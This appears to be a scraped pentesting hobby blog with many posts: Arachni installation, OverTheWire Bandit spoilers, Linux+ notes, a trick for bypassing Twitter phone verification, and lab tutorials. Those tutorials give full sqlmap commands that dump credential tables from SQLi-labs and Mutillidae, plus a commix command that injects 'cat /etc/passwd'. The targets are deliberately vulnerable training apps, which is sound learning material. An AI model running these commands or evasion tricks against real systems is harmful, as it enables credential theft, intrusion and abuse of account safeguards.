How to install arachni_web in kali linux 2017

I was having an issue with installing arachni_web via git clone, (actually i was running into all kinds of dependency issues with ruby) so I figured another way to do it

first i changed into the Downloads directory

pentestblack@kali:~$ cd Downloads/

then visit the arachni download page 

and choose either the 32-bit or 64-bit download if your not sure what you have grab the 32-bit one, for this demo we are using the 32-bit download, so now we need to get wget to fetch the file

pentestblack@kali:~/Downloads$ wget https://github.com/Arachni/arachni/releases/download/v1.4/arachni-1.4-0.5.10-linux-i686.tar.gz

we also want the SHA1 checksum (this is to check the integrity of the file you download ensuring it hasn't been tampered with)

pentestblack@kali:~/Downloads$ wget https://github.com/Arachni/arachni/releases/download/v1.4/arachni-1.4-0.5.10-linux-i686.tar.gz.sha1

Once they have both downloaded verify the download

pentestblack@kali:~/Downloads$ cat arachni-1.4-0.5.10-linux-i686.tar.gz.sha1 
This will give us the SHA1 checksum which is (at time of writing)
b0979003bae7d05020c9388e40113775df11d03a

copy this number by highlighting it, right click and select copy, next command

pentestblack@kali:~/Downloads$ echo b0979003bae7d05020c9388e40113775df11d03a arachni-1.4-0.5.10-linux-i686.tar.gz | sha1sum -c

you should see

arachni-1.4-0.5.10-linux-i686.tar.gz: OK 




if you see ANYTHING other than this line do not proceed as it would mean the file you have download has most likely been tampered with and any installation of the files may lead to security issues and/or compromise of your system, for example


arachni-1.4-0.5.10-linux-i686.tar.gz: FAILED
sha1sum: WARNING: 1 computed checksum did NOT match

 Once have verified the download we can now complete the next few steps quickly 

pentestblack@kali:~/Downloads$ tar -zxvf arachni-1.4-0.5.10-linux-i686.tar.gz 


This will create a new folder called arachni-1.4-0.5.10 and we now need to change into this directory 


pentestblack@kali:~/Downloads$ cd arachni-1.4-0.5.10/

now we are in that directory we need to change into the bin directory 

pentestblack@kali:~/Downloads/arachni-1.4-0.5.10$ cd bin

now we are ready to launch arachni_web, to do this simply run

pentestblack@kali:~/Downloads/arachni-1.4-0.5.10/bin$ ./arachni_web 






after a few seconds you will see the following output 

Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://localhost:9292 

now open a web browser and enter 

localhost:9292
and you will see the arachni_web login page (as shown below)

 

default credentials are 














username: admin@admin.admin
password: administrator



you will now be logged into the arachni_web (as shown below)

congratulations you have now installed arachni_web on kali linux

you can check the video on youtube

 

How to Bypass the Twitter Phone Verification without using your real phone number

Twitter often and quite easily locks accounts and the only apparent way is to give them your phone number.... OR more reasonably "a number" and I have 2 problems

• I don't want to directly give them my actual real day to day number I mean who the fuck does ?
• I  do have a seperate sim i often use for these annoying kind of things - BUT - that number is tied to another account that got locked so no can use that  (as show below)

 
So this time i was stuck... a little

This is quite a common problem any pentester will atest to that, and any serious internet user will too. Those that live in the US (not sure about canada) can use google voice but that involves adding a phone number to google voice to forward your calls too.

• I dont want to to give google my number (although they most likely have it already, with all the piss poor app permissions out there unwary friends and family will most definitely have inadvertently uploaded the contacts of their phonebook to fuck knows who)  

So what options have us good old brits got?

Its quite simple really

Ideal but not required - have a secondary device that only uses wifi and has no phone number attached to it (tablet, second phone thats old or BLOCKED) the more privacy conscious of us will recognize the cost of this

Install an app called dingtone - there may be other apps that do this but I have used dingtone several times in the past where I have needed a landline number with a new account you will need to build your credits up, 60 credits required to get a free landline number this can be achieved easily by completing offers **best and fastest way is to complete the offers where you need to install and run an app ** simply uninstall them once installed and you collect your credits. This can easily be done within 30 mins Stay away from survey apps they take long and are annoying

once you have your 60 credits you can choose a landline from

• CANADA
• UNITED STATES
• GREAT BRITAIN
• you can choose many many numbers from many cities within those countries

The greatest thing is this works over WIFI **so dingtone themselves dont require ANY number from you at all and this is exactly what I need now choose a number enter it on twitter and  almost instantly twitter calls with a  verification code - result

 Download dingtone from http://dingtone.me/d?i=n1Qgdo and use my invitation code to get a gift: kse7ue.

So what do you guys think is there an easier way to do this ?

I'm sure once twitter is aware of this they'll take extra measures to prevent it so get on it while you can

overthewire.org [SPOLIER] BANDIT level 14-15 hacking wargame

The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.

Thankfully this is one of the easier tasks. First you need to have the password for the previous level which you can watch get by watching the video below (best watched full screen)

Now with a few commands and we will have the next password, commands are in bold

bandit14@melinda:~$ telnet
telnet> open
(to) localhost:30000
telnet: could not resolve localhost:30000/telnet: Name or service not known
telnet> open
(to) localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
[THE PASSWORD WILL BE DISPLAYED HERE IN YOUR TERMINAL]


watch the video here

What happens after we are inside the network | Post Exploitation Wizardary

What happens when you have you have gained access? what next?
well to help you out there is some sorcery we can perform to further pivot inside the network possibly going from a low level user to root access with admin privileges.
 

Well thanks to +Rob Fuller  aka @mubix who has put together some advanced post exploit techniques which amounts to shear awesomeness from the command line simply enter.

git clone https://github.com/mubix/post-exploitation-wiki.git

[this will download and create a folder called  post-exploitation-wiki in whatever directory you run the above command from]

congratulations - you know have access to some really useful stuff  for example

• useful commands (how do i see whose logged in again)
• important file locations (where are those pesky passwords stored)
• all kinds of other shit
• I'm sure you get the hint

Liveatc.net shannon high control ATC - Virtual Radar Server - FlightRada...

Liveatc.net shannon high control ATC - Virtual Radar Server - FlightRada...

level1 dojo1 shortcutFoo command line

Off topic subject

okay okay, I know its totally unrelated, never the less, you can get the awesome oddworld munches oddysee from the google play store for none other than 10p

Google Play Store

not sure how long this has been at this price or even how much longer it will stay at this price

ps I was given £1 to spend in the play store a few weeks ago from google, which had about a 6 week expiry so check your emails and see if you've got anything if not check the google rewards app

Back & refreshed

So after a short hiatus I'm back, hope you all are well! I can only apologise for a lack of content or updates but I just needed a break, so over the last 3 or 4 months I've not read any emails at all. NIL. In fact this device hasn't been on since around May, so I've got an absolute shitload of catching up to do and will report back mid week

Peace

Linux+ chapter 1 Understanding command line basics UNAME

OK, so my test version of linux is up and running, in reality I'm using kali linux not for the entire project but just because i using my kali box for some other stuff at the time of writing.

First up the uname command.

As you begin using linux regularly you quickly realise linux uses some extremly powerful commands and there are many many ways to achieve a particular objective.

the difficult thing for me initially with linux is remembering what command does what. This is why getting practical practise is critical in retaining the knowledge who have learned; consider the following problems that need solving,

how do you ?

• print the kernel name
• print the network node hostname
• print the kernel release
• print the kernel version
• print the machine hardware name
• print the processor type
• print the hardware platform
• print all of the above

well this is what i love about linux all of the above can be done with a single command uname 
while the uname command alone doesn't reveal all of the above you need to use switches, for example.

uname -r prints the kernel release -r been the switch

uname --kernel-release does exactly the same thing --kernel-release is the switch used this time.

to get info on nearly all commands in linux use either the man or info command

• man uname
• info uname

if you anticipate doing the linux+ exams you'd certainly will need to start making mental notes of these switches and what they do, to aid us we can create our own custom quiz questions to aid us, but remember everybody learns very differently 
 

overthewire.org BANDIT level13-14

An interesting challenge this. For the first time we move away from file commands and begin making use of commands more a kin to use within network operations

The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on

Commands you may need to solve this level

ssh, telnet, nc, openssl, s_client, nmap

as ever with the beauty of *nix there is always more than one way to skin a cat, I simply chose the method that i know.
The full spoiler can be found at youtube

Hacking via wargames with Overthewire.org

I understand why military and security services are constantly wargaming, getting there units prepared for events before they happen, while there can be no substitute for the real thing, failing to prepare is preparing to fail. The same applies when it comes to pentesting, you need to constantly put into practice the skills you learn, one way to do this is via deliberatly vulnerable virtual machines like DVWA or Metasploitable, of which there are many some offline some online these are getting learning/teaching tools for anybody remotely insteresed in any aspect of computer security.
In the previous post I mentioned how I struggle badly with sticking to a project right through to the end, well this is another example. I'd like to introduce an awesome site I first started using back in 2014 that site is
http://overthewire.org/wargames they over a wide varitey of hacking wargames (online) they vary greatly in the skills you will need and the skills you will acquire, as I've now set myself a schedule to aid with all the learning i'm doing i will be updating (well at the very least uploading my videos) as I go along.

When i started on overthewire in 2014 I'd already begun uploading some videos to youtube only in the last week did i notice  something saying PLEASE DON'T UPLOAD SPOILERS, i have 2 issues with that

•  well i have to disagree with that, if people want to not learn anything by reading spoilers that has to be option they are allowed to take if they choose
• after not using overthewire for over 2 years i needed to to get back to the point i was last at on OTW, by looking at my youtube videos i could immediately see where i was last upto.

the latter actually saved me the rig-moral of relearning the techniques i learned the first time i started with OTW, essentially the videos acted as a prompt to quickly bring me upto speed.

When i initially started using overthewire.org i immediately noticed a page called wechall scoring. The top of the page read the following

OverTheWire makes use of a scoreboard provided by WeChall to allow players to track their own progress and promote some healthy competition between players. To make use of this scoreboard for OverTheWire games, you need to follow these steps:

awesome there is a way for me to keep  track of the progress of my activities on overthewire. the first thing i need to do was

1. First, go to WeChall and register for an account.

why the need to register an account at another website i grumbled at first but on the first visit to wechall.net I realised just how many different wargame sites there is out there. Currently at the time of posting there are 58 different wargame/hack sites that incorporates the wechall scoring system.

I've currently only used overthewire although i've briefly had a look at a few of the other sites but I cant recommend this type of practice highly enough, while i'm putting most of my focus into web application security this will help fine tune a lot of other core skills. certainly while hacking on overthewire I've learned a lot of advanced features on some of the basic linux commands like

ls,grep,cat,file,du,type,sort,uniq,strings,gzip

and lots and lots more commands i only ever used for very basic things anyway the bottom line get onto overthewire.org setup wechall scoring on your machine and hack away every day
for now you keep an eye on my overthewire playlist over at youtube which i'll most likely update in batches

PEACE

CompTIA Linux+ LX0-103/LX0-104 Initial assessment

Something that happens quite often for more, is not finishing shit off, its annoying so I m gonna use this blog as i intended it, basically as a note keeper. Truth is while beginning my bug hunting journey I quickly realized there was/is a lot of missing skill sets. They all relate to projects I started previously and never finished, namely

• learning python
• mastering the linux command line

both of which in my eyes are crucial to the bug bounty efforts, so ill keep all my  project notes here, these will be in (note to self format) and is not intended to mean anything to anyone other than myself all though others that may stumble across this blog at some point, it might be relevant to them.

Starting with the introduction assessment test, this test is solely aimed at testing your immediate knowledge of the linux system and potentially help discover any areas of work that need focusing on. so here goes........

--------------------------------------------------------------------------------------------------------------------------- 

1. option D  wrong option B
2. options A & C correct
3. B wrong option D
4. C Correct
5. C & D correct
6. E correct
7. A wrong option C
8. E Correct
9. B Correct
10. B,C,D wrong B,D,E
11. A Correct
12. C,D wrong A,D
13. C Correct
14. B Correct
15. E Correct
16. A Wrong option D
17. B,C Correct
18. D wrong C
19. D Correct
20. B Correct
21. A,B correct
22. B correct
23. A correct
24. B,D Correct
25. A,C correct
26. D correct
27. C wrong B & E
28. E correct
29. A,B wrong B & E
30. C correct

----------------------------------------------------------------------------------------------
 This answer for these are contained within the book, not only do they give you the correct answer but allows tells why the other answers are also wrong, this is an excellent way for my learning, as reading the the wrong answers helps provide possible answers for other questions, for example heres the first answer in full

1. B. The Monitor section defies the monitor options and settings but not doesn't combine it with the video card, so option A is incorrect. The Modeline line defies the available video modes in the Monitor section, but it doesn't define video cards, so option C is incorrect. Option D, the device section is also incorrect; it defines the video card but doesn't match it with a monitor on the system. Option E is incorrect because the module section defines which X server modules (or drivers) are loaded but it doesn't match monitors and video cards. Option B, the screen section, tells the X server about the combination of video cards and monitors that you're using, so it's the correct answer.

Clearly there is a lot of info here and it goes beyond simply explaining the correct answer. I highlight the key parts in the book to aid me.

for the benefit of time and this blog and as this is an initial assessment ill simply post the answers here without the details just to log how many i got right/wrong. I'm quite pleased with the results of the initial assessment test, the key thing here is learning what the wrong answers do

Another brief **yawn** note

ok so things are moving quite rapidly now and to be honest I'm truly overwhelmed with all this pentetsing, from duplicate reports to writing detailed reports and, you are literally learning everyday, the experts are 100% correct web applications are completely full of holes,rest assured im working hard in the background and will give this blog some much need love when I get the chance.

I had my first confirmed bug last week, I've not asked for pubic disclosure yet but will do in the future, although now I'm participating in these bug bounty program I see why some researchers are at logger heads with whether to publicly disclose their vulns or not, well watch this space.

Some things I've learned quickly

• Do not under estimate the power of reading publicly disclosed vulnerabilities. 
• Do not underestimate the knowledge you get from reading the web application hackers handbook [pdf didnt help] I needed the physical book for sure
• OWASP top 10
• The wide range of deliberate vulnerable apps [mutilidae, DVWA, BWAPPS, webgoat etc]
• be patient there are lots of bounty hunters, but there is more than enough bugs for everyone and they wont be going away anytime some.

some annoyances I've come across.

• vendors paying out for bounties which are out scope, while its good  vendors pay and/or acknowledge bugs that are out of scope, just think whats been missed by researchers as they didn't know a particular domain was in scope.
• people begging bounty, yes we all need to eat and i'll be the first to say I'm doing this firstly for the money and as each day goes by and im seeing more and bugs in applications I use I see why people also do this not for the money but for the benefit of everybody involved.

finally

no body was born (as far as I know) with the ability to walk or run, yes we had the means to (legs) but they had to learn first (knowledge) this applies here in this field to, in a nutshell
beginners
dont try run before you can walk

experts/seniors/elders
we all have to start from somewhere

peace

Briefly

I see i haven't posted anything in a while, well fear not, ive created a lot of content, truth is I just dont have time to blog or upload, all that precious time is been spent bug hunting, Still I thought i'd share something you may find valuable on your adventures, a post exploitation guide, which is really handy,

Mubix Post Exploitation Guide

New version of mutillidae released

A new version of mutillidae has been released, the current version is 2.6.34, dont forget to download the md5 checksum for the zip file and then verify the integrity of the download

echo 1ebe063a0b258093b5df45e81fe8954e LATEST-mutillidae-2.6.34.zip | md5sum -c

available from sourceforge

update I've sent jeremy druin aka webpwnized a message stating that after install etc the version shows as 2.6.32 not sure if the error is in the upload or directly in web app it self

awaiting response

update: according to webpwnized this will be fixed in a coming update, for know I can edit the the /includes/constants.php file myself and correct it

Sqli-labs Object: GET - Error based - Single quotes - String lesson 1

Practice sql injection hacking skills using this vulnerable sql framework

browser:iceweasel
os: kali linux
Web App: SQL-Labs

SQLi-LABS can be downloaded from

https://github.com/Audi-1/sqli-labs

There are several lessons and I will iterate through them all starting with less-1

lesson: number 1
Object: GET - Error based - Single quotes - String

This is simple stuff, simply visit

http://192.168.0.9/sqli-labs/Less-1/ 

we are met with an info message

Please input the ID as parameter with numeric value

we can achieve simply appending the following to the url

?id=1

so our full url will now look like 

http://192.168.0.9/sqli-labs/Less-1/?id=1

a users username & password are returned to the screen changing ?id=1 to for example ?id=2 will display different credentials.

To get a simple error message produced on the screen simply append 
' (a single quote) to the url
which returns the following error message 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1    
this bares all the hallmarks of a sql injection vulnerability, so therefore lets fire up sqlmap

sqlmap --url="http://192.168.0.9/sqli-labs/Less-1/?id=1" --dbs

this gives us the names of the databases

 if your not sure which database to look in you'll have to poke around and see, our target is the security database, next we want to have a look at the available tables therefore our next command is 

sqlmap --url="http://192.168.0.9/sqli-labs/Less-1/?id=1" -D security --tables

 

  now then the users table looks interesting, lets go ahead and see whats inside, we have the database name and table name now we need to see whats in the column, heres the new command

sqlmap --url="http://192.168.0.9/sqli-labs/Less-1/?id=1" -D security -T users --columns

awesome the column contains id's passwords and usernames we want to see all that, heres the final command.

sqlmap --url="http://192.168.0.9/sqli-labs/Less-1/?id=1" -D security -T users -C id,password,username --dump

we have sucessfully a exploited the sql injection vulnerability to retrieve all id's usernames and passwords from the mysql database

remember in the previous post sqlmap-database-takeover-tool-old-skool 
we had to use the --data="" switch this was because the method was post and in this example the method is get therefore there was no need use --data=""
 

SQLMAP Database Hacking - An Easier Way

Using sqlmap in conjuction with burpsuite (easy)

tools:sqlmap, burpsuite
OS: kali linux

previously in this blog post we used passed some parameters to sqlmap to aid in our attack, well there is a faster method of passing data to sqlmap from burpsuite and its easy

navigate to

• http://192.168.0.9/mutillidae/index.php?page=login.php

which is the login page we wish to bypass

• attempt to login using ANY username & ANY password 
• capture the POST request using burpsuite
• right click on the request 
• select save item (then save to your chosen location)

now we can run the sqlmap command easily without passing all the parameters to it  we simply run

sqlmap -r "PATH_TO_SAVED_REQUEST"

I saved the request as sqlmap-practice

This makes it much easier to pass data to sqlmap, however to fully exploit the database ie hack the accounts we still need to find out the following;

database name

database tables

database column

this can only be done (as far as im aware) via experience and/or trial and error

I've utilized this easier method to successfully attack and own all
OWASP A1 (SQL Injection lessons) in mutillidae

SQLMAP - Database takeover tool - the old skool way

Hacking mysql database via SQLMAP

here I will demonstrate a sql injection attack using SQLMAP, I will use this hack to bypass a login

Tools:SQLMAP/Burpsuite
Browser:Iceweasel
Web App:Mutillidae v2.6.30
OS:Kali Linux

First;

• configure browser and proxy (I'm using burpsuite) then head to 

•  http://192.168.0.9/mutillidae/index.php?page=login.php 
• enter some data in the username & password fields
• In burp review the data from the post capture we need some info for it

so using the capture above we can now begin constructing our sqlmap command.

sqlmap --url="ENTER_FULL_URL_HERE" (this is a combination of the host and post field as shown above)

sqlmap --url="http://192.168.0.9/mutillidae/index.php?page=login.php"

next part of the command
--data="ENTER_DATA_HERE" (this is actually the body of the post request)

--data="username=admin&password=admcdicndsjcn&login-php-submit-button=Login"

and finally 
--banner (retrieves database banner)

the sqlmap command is now complete. our full sqlmap command is;

sqlmap --url="http://192.168.0.9/mutillidae/index.php?page=login.php" --data="username=username&password=password&login-php-submit-button=Login" --banner 

(a truncated video displaying the outcome of the injection)(**banner**) 

BYPASSING A LOGIN USING SQLMAP 

 so we are 100% certain that the mysql database is vulnerable to sql injection, now we will escalate our attack and see what credentials we can grab

So now as we know we need to bypass the loggin presented to us on the login page, we know now that the application vulnerable to sql injection so we will mount an attack to verify this. We already have the main command for the attack already

sqlmap --url="http://192.168.0.9/mutillidae/index.php?page=login.php" --data="username=username&password=password&login-php-submit-button=Login"  

we simply need to append the command slightly, first new command/switch/paramemter we enter is 

--dbs (this tells us the available databases)

there  was 6 options 

form experience I know that the database we need to attack is named nowasp, now we can further ammend our sqlmap command to ;

 remove --dbs (as we now know the name of the databse that we need to hack)
add
-D owasp 
and add
--tables (the tables switch will list all tables within the database owasp)

 again experience tells me i want to retrieve the info held within the accounts table
we can now further ammend our command
remove
--tables
add
-T accounts
add
--Columns (gives us a list of columns to select info from  

bingo we know have a full list of all the columns of info we want to retrieve, in this case i want
firstname
lastname
password
username
we are now ready to complete our sqlmap command and hack so we
remove
--columns 
and add
-C firstname,lastname,password,username
we need to --dump all credentials retrieved so we can see them so we us the --dump command, our full sqlmap injection command is

sqlmap --url="http://192.168.0.9/mutillidae/index.php?page=login.php" --data="username=username&password=password&login-php-submit-button=Login" -D nowasp -T accounts -C firstname,lastname,password,username --dump

we have successfully retrieved all usernames & passwords for the login to the system thereby bypassing any need for us to need our own login.



 

Verify checksum of files on linux

when downloading files especially from the Internet, its crucial that you verify your download, this will help you release if the actual you file you have just downloaded has been tampered with in any way by another party.

In this example we have just downloaded WebGoat from the interweb the filename and checksum is displayed in the pic below

filename: WebGoat-5.4-OWASP_Standard_Win32.zip
SHA1 Checksum: eb61e9eadb00ae62796110bedf16366a8a15c02f

to verify this in linux (kali) this is simple, simply enter teh command as shown below 

echo eb61e9eadb00ae62796110bedf16366a8a15c02f WebGoat-5.4-OWASP_Standard_Win32.zip | sha1sum -c - 

sha1sum checksum    

to verify that the  sha1sum matches the filename, the output returned is 

 however if there was a mismatch you will see;

 

OWASP A1 - Injection - Other Commix OS command injection tool

OWASP A1 INJECTION OTHER

tools: commix burpsuite iceweasel

Vulnerable app:Mutillidae V2.6.30

Came across this tool recently commix (Command Injection eXploiter) so i thought i best put it to the test and heres what i did 

commix --url="http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php" --data="target_host=INJECT_HERE&dns-lookup-php-submit-button=Lookup+DNS" --cookie "showhints=1; PHPSESSID=bf0t3nlg0f67u34f36gvaug5r7" --os-cmd="cat /etc/passwd" 

so lets look at where we got these parameters from in detail

--url="http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php"  

--url="" is the param for entering a url, between the quotes is the  ACTUAL url of the web page we want to test command injection on in this case its the dns lookup page of mutillidae 

 --data="target_host=INJECT_HERE&dns-lookup-php-submit-button=Lookup+DNS"

--data="" is the actual param for entering data in this case its the post data of the request produced when submitting the page, we insert the actual data BETWEEN the double quotes. To get the actual data follow these steps

• on the dns lookup page enter a IP or hostname and click Lookup DNS

•  in burp suite highlight the bottom line and replace www.google.com with INJECT_HERE

• then copy & paste the entire line BETWEEN the double quotes

--cookie="" is the param where the  cookie goes

copy the cookie as shown above from burpsuite (or an add on like tamper data) and paste directly between the double quotes

finally we use --os-cmd="cat /etc/passwd" 
--os-cmd="" allows a single os command to be executed
cat /etc/passwd is the command we have injected and gives us a list of users in the system

The output is printed to screen as shown below

A video of the full attack is shown below 

A more (visually improved) method of getting the output of cat /etc/passwd is via commix built in enumeration by using the switch

--users 
watch the video below to see commix in action enumerating users